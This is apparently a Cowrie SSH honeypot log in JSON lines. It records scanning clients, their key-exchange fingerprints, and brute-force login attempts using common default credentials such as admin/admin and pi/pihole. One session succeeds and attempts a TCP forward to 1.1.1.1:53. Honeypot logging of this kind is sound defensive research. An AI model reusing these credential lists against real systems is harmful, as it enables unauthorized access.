{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:49.159724Z","src_ip":"103.77.175.15","session":"789d65526aa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11101978","message":"login attempt [root/11101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:49.831186Z","src_ip":"103.77.175.15","session":"789d65526aa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:51.058039Z","src_ip":"103.77.175.15","session":"789d65526aa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":57416,"dst_ip":"10.17.0.5","dst_port":22,"session":"b06d216f7de2","protocol":"ssh","message":"New connection: 46.19.67.181:57416 (10.17.0.5:22) [session: b06d216f7de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:57.978632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:57.982329Z","src_ip":"46.19.67.181","session":"b06d216f7de2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:58.094805Z","src_ip":"46.19.67.181","session":"b06d216f7de2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"224488","message":"login attempt [root/224488] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:58.436058Z","src_ip":"46.19.67.181","session":"b06d216f7de2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:59.552201Z","src_ip":"46.19.67.181","session":"b06d216f7de2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":1868,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a2734d69d51","protocol":"ssh","message":"New connection: 176.53.159.196:1868 (10.17.0.5:22) [session: 0a2734d69d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:01.726891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:01.731222Z","src_ip":"176.53.159.196","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:01.828414Z","src_ip":"176.53.159.196","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:02.121265Z","src_ip":"176.53.159.196","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:02.221253Z","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:02.340417Z","src_ip":"176.53.159.196","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:02.438330Z","src_ip":"176.53.159.196","session":"0a2734d69d51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":50792,"dst_ip":"10.17.0.5","dst_port":22,"session":"014ee145b08f","protocol":"ssh","message":"New connection: 91.92.40.10:50792 (10.17.0.5:22) [session: 014ee145b08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:15.486007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:15.515389Z","src_ip":"91.92.40.10","session":"014ee145b08f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:15.604794Z","src_ip":"91.92.40.10","session":"014ee145b08f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:16.362617Z","src_ip":"91.92.40.10","session":"014ee145b08f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:17.556465Z","src_ip":"91.92.40.10","session":"014ee145b08f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":39556,"dst_ip":"159.203.135.109","dst_port":22,"session":"4515e4aa06d2","protocol":"ssh","message":"New connection: 99.252.20.159:39556 (159.203.135.109:22) [session: 4515e4aa06d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:43.478793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:43.482754Z","src_ip":"99.252.20.159","session":"4515e4aa06d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:43.515349Z","src_ip":"99.252.20.159","session":"4515e4aa06d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpaca","password":"alpaca123","message":"login attempt [alpaca/alpaca123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:43.596009Z","src_ip":"99.252.20.159","session":"4515e4aa06d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:44.632558Z","src_ip":"99.252.20.159","session":"4515e4aa06d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":46056,"dst_ip":"159.203.135.109","dst_port":22,"session":"38565a5ebee5","protocol":"ssh","message":"New connection: 85.214.154.50:46056 (159.203.135.109:22) [session: 38565a5ebee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.377043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.381157Z","src_ip":"85.214.154.50","session":"38565a5ebee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e4f764b04d","protocol":"ssh","message":"New connection: 91.92.40.176:33820 (10.17.0.5:22) [session: 56e4f764b04d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.458910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.462364Z","src_ip":"91.92.40.176","session":"56e4f764b04d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.474576Z","src_ip":"85.214.154.50","session":"38565a5ebee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.543600Z","src_ip":"91.92.40.176","session":"56e4f764b04d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"congo","password":"Kinshasa#S3cur3#P@ssw0rd","message":"login attempt [congo/Kinshasa#S3cur3#P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.756200Z","src_ip":"85.214.154.50","session":"38565a5ebee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pihole","message":"login attempt [pi/pihole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:58.785161Z","src_ip":"91.92.40.176","session":"56e4f764b04d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:59.852483Z","src_ip":"85.214.154.50","session":"38565a5ebee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:49:59.870912Z","src_ip":"91.92.40.176","session":"56e4f764b04d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":52638,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e914f7a4562","protocol":"ssh","message":"New connection: 185.242.3.195:52638 (10.17.0.5:22) [session: 3e914f7a4562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:22.496506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:22.501014Z","src_ip":"185.242.3.195","session":"3e914f7a4562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:22.592705Z","src_ip":"185.242.3.195","session":"3e914f7a4562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rds","password":"rds","message":"login attempt [rds/rds] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:22.869167Z","src_ip":"185.242.3.195","session":"3e914f7a4562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:23.963483Z","src_ip":"185.242.3.195","session":"3e914f7a4562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":41992,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8bbbe00aedd","protocol":"ssh","message":"New connection: 91.92.40.10:41992 (10.17.0.5:22) [session: c8bbbe00aedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:47.987193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:50:48.067721Z","src_ip":"91.92.40.10","session":"c8bbbe00aedd","protocol":"ssh"}
